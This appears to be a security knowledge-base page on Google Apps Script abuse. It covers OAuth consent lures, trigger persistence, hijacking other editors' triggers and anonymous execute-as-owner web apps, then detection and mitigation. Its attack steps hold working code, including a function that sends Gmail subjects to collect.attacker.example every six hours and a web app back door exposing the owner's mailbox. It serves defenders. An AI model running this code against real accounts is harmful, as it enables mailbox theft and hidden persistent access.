How it works
Google Apps Script is JavaScript that runs on Google's servers with built-in services for Gmail, Drive, Sheets, Calendar and outbound HTTP. A script project is either standalone or bound to a document, spreadsheet, presentation or form. Every user can create one. From the tenant's point of view a script is an OAuth application: before it can use a service that needs authorization, the person it will run as approves the scopes it asks for, which is ordinary application consent. Apps Script works out the scopes from the code, or reads them from the oauthScopes list in the manifest.
Which identity the code runs as depends on how it is started:
- From the editor, a menu or a button in a bound file: as the user at the keyboard.
- From an installable trigger: always as the account that created the trigger. Triggers can fire on a schedule, as often as every minute, or on events such as a file being opened, a spreadsheet being edited or a form being submitted.
- From a web app: as the deploying user (
USER_DEPLOYING) or as the visiting user (USER_ACCESSING), according to the deployment. Access can be limited to the deployer, to the domain, to any signed-in user (ANYONE) or opened to anyone without sign-in (ANYONE_ANONYMOUS). - From a simple trigger such as
onOpen: without authorization. Simple triggers can't use services that need it, such as Gmail.
The gaps between "who wrote the code", "who started it" and "whose authority it uses" are what an attacker exploits:
- Consent lure. The attacker shares a spreadsheet or document with a bound script. A simple
onOpentrigger can only draw a menu or a button. When the victim uses it, Apps Script shows its authorization prompt, and after approval the function runs as the victim with the scopes it asked for. This is consent phishing with Google as the host of the malicious client. - Trigger persistence. Once code runs as the victim, or the attacker holds the victim's session, a time-driven trigger makes it run again every few hours as the victim. Trigger runs do not prompt for authentication.
- Borrowed triggers. In a shared script project, a trigger created by one editor runs whatever the function contains at the time it fires. Another editor who changes that function has their code executed with the trigger creator's authority, and can't even see that the trigger exists.
- Web app back door. A web app deployed to execute as its owner, open to anyone, is an HTTP endpoint that acts as the owner for every caller.
Prerequisites
- A Google account, in any organization, to write and share the lure. Apps Script must be turned on for the victim.
- For the consent lure: the victim must be allowed to authorize the scopes. If the organization restricts high-risk Gmail and Drive scopes, an app that has not been specifically trusted can't be authorized for them.
- For persistence: code already running as the victim, the victim's browser session, or edit access to a project where the victim created a trigger or deployed a web app.
- For exfiltration from the script: outbound requests through the URL Fetch service. By default scripts can send or fetch data using any URL.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Build the script project
The editor at script.google.com is enough. clasp, Google's command line tool for Apps Script, makes the work repeatable:
npm install -g @google/clasp
clasp login
# A script bound to an existing spreadsheet (the lure document)
clasp create-script --title "Quarterly report helper" --parentId <SPREADSHEET_ID>
# Upload the local files to the project
clasp push
Explicit scopes go in the manifest, appsscript.json, so the prompt shows exactly what the attacker chose:
{
"oauthScopes": [
"https://mail.google.com/",
"https://www.googleapis.com/auth/script.external_request",
"https://www.googleapis.com/auth/script.scriptapp"
]
}
2. Variant A: collect as the victim, then persist with a trigger
The bound file offers a menu item or button that calls install. The victim's first click brings up the authorization prompt. After approval:
function install() {
// Runs as the user who clicked. The trigger it creates belongs to that user.
ScriptApp.newTrigger('collect').timeBased().everyHours(6).create();
collect();
}
function collect() {
var threads = GmailApp.search('newer_than:1d', 0, 50);
var subjects = threads.map(function (t) { return t.getFirstMessageSubject(); });
UrlFetchApp.fetch('https://collect.attacker.example/in', {
method: 'post',
contentType: 'application/json',
payload: JSON.stringify(subjects)
});
}
From then on collect runs every six hours as the victim, on Google's servers, whether or not the victim ever opens the file again.
3. Variant B: change the code behind someone else's trigger
In a project shared with edit rights, find a function that a colleague's trigger calls (functions written to run unattended are usually easy to recognize in the code) and change its body:
clasp clone-script <SCRIPT_ID>
# edit the function that the existing trigger calls
clasp push
The next time the trigger fires, the new code runs as the trigger's creator.
4. Variant C: a web app that executes as its owner
With the victim's session, or as a co-editor preparing a lure for the owner to deploy, set the web app section of the manifest and deploy:
{
"webapp": {
"access": "ANYONE_ANONYMOUS",
"executeAs": "USER_DEPLOYING"
}
}
function doGet(e) {
var threads = GmailApp.search(e.parameter.q, 0, 20);
var subjects = threads.map(function (t) { return t.getFirstMessageSubject(); });
return ContentService.createTextOutput(JSON.stringify(subjects))
.setMimeType(ContentService.MimeType.JSON);
}
clasp push
clasp create-deployment --description "v1"
clasp list-deployments
The deployment's /exec URL now answers anyone who knows it with data from the owner's mailbox.
Impact
The attacker's code holds the victim's authority for the approved scopes: read and send mail, read and change Drive files, edit calendars, call external services. The resulting OAuth grant and the trigger live on Google's side, so the attack survives the loss of the victim's device and does not depend on the victim's password.
A trigger or web app that belongs to an administrator or a shared service mailbox gives that account's reach to every editor of the script. A script that executes as a user who can impersonate service accounts extends the path into Google Cloud.
A failed run is not a harmless run: a function that fails halfway has already completed the operations before the error.
OPSEC and artifacts
- Running inside Google. The calls to Gmail and Drive come from Google's own infrastructure, not from an attacker address, and there is no sign-in event because nobody signed in. Resource audit records attribute the action to the user.
- Hiding in a shared project. Other editors can't see a trigger that is not theirs. The owner of the trigger sees it under My Triggers, and every run is listed in the project's execution history with the function, the type of invocation, the start time and the status.
- A plausible name. The authorization prompt shows the script's name. For a web app that runs as the visiting user it also shows the script owner's email address.
- The grant. The victim's approval is an OAuth grant like any other. It appears in the user's Google Account under third-party connections, in the administrator's OAuth log events as a grant with its scopes, and in the token audit stream (GetToken in Cloud Logging).
- The project file. Creating, editing and sharing a script project are Drive log events with the document type Google Script.
- Outbound traffic. Exfiltration through the URL Fetch service leaves the organization from Google's servers and is not seen by the organization's own proxies.
- Removal is incomplete by default. Deleting the script file or the lure document does not by itself prove that the user's authorization has ended. The grant is revoked separately.
Detection
- Grants to script projects with sensitive scopes. In the security investigation tool, search OAuth log events for Event = Grant and the scopes that matter (
https://mail.google.com/, Drive scopes,script.external_request), and turn the search into an activity rule that reports to the alert center. In a SIEM, the high-risk OAuth scope rules read the grants from Cloud Logging and search the event for Gmail and Drive scopes; the filter below selects the grant events.
logName="organizations/000000000000/logs/cloudaudit.googleapis.com%2Factivity"
protoPayload.serviceName="oauth2.googleapis.com"
protoPayload.methodName="google.identity.oauth2.GetToken"
- Script projects appearing and spreading. Filter Drive log events on document type Google Script. Look for projects created by external accounts and shared in, projects shared with many users at once, and edits to a long-standing project by someone who does not normally maintain it.
- Separate the findings. A helpdesk report of an unexpected prompt, a grant, an execution and a resource change are four different facts. Match the reported time and the client to an actual grant before saying a user consented, and match an execution to a Drive or Gmail record before saying data was touched. A shared user and minute is weak evidence when several apps are active.
- Trigger and deployment inventory. For business-critical scripts, record who owns each trigger and how each web app deployment is configured (execute-as and access). A deployment snapshot describes one version: another deployment of the same project can use different settings.
- Weakened controls. An administrator who trusts all domain-owned apps, or one script's client, removes the scope restrictions for it. The app access control rules cover those changes, including trustDomainOwnedOauth2Apps.
Mitigation
- Restrict what scripts can be granted. Restrict Gmail and Drive, or their high-risk scopes, so that an app that has not been specifically trusted can't be authorized for them. This stops the consent lure for the data that matters most.
- Turn Apps Script off where it is not needed. Administrators can turn Apps Script on or off for people in the organization.
- Limit outbound connections. In editions that support it, allow URL Fetch only to approved external domains, so a script can't post data to an arbitrary server.
- Limit who can edit scripts that run with someone else's authority. Edit access to a project with a privileged user's trigger or an execute-as-owner web app is equal to that user's access for the granted scopes. Keep such projects in a shared drive with a small set of editors, and have triggers created by a dedicated automation account, not by an administrator.
- Prefer "execute as the user accessing the web app" and domain-only access for internal web apps, so that each visitor uses their own authority.
- Review triggers when people change roles. Transfer or delete the triggers of a person who leaves a team; they keep running under that person's account.
- Respond completely. Revoke the affected users' access tokens for the script, delete the triggers, and delete the associated Google Cloud project to stop all executions of a malicious project. Removing the file alone is not enough.
Detection rules for this attack
Log events to collect
FAQ
Under whose identity does an Apps Script trigger run?
An installable trigger always runs under the account of the person who created it, whoever causes the event. If one user creates an edit trigger on a shared spreadsheet and another user edits a cell, the code runs with the first user's authorization. Mail that the trigger sends comes from the creator's account.
Can other people see the triggers on a shared script?
No. Google states that an account can't see triggers installed from a second account, although it can still activate them. Each user reviews and removes their own triggers on script.google.com under My Triggers, so a trigger hidden in a shared project is not visible to the project's other editors.
What is the risk of a web app that executes as me?
The script runs as its owner for every visitor. If access is set to anyone, even anonymous, every person who has the URL uses the owner's authority over whatever the code touches. An attacker with the owner's session can publish such a web app as a back door that needs no sign-in.
How does an administrator turn off one malicious script?
Deleting the Google Cloud project that is associated with the script project stops all of its executions. For the affected users, also revoke the script's access tokens, which the security investigation tool can do from the OAuth log events.
References
- Installable triggers (Google Apps Script)
- Simple triggers (Google Apps Script)
- Web apps (Google Apps Script)
- Manifest structure: web app configuration (Google Apps Script)
- Authorization for Google services (Google Apps Script)
- Monitor and control Apps Script use in your Google Workspace organization (Google Apps Script)
- Monitor and restrict data access (Google Apps Script)
- Serverless Execution, T1648 (MITRE ATT&CK)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.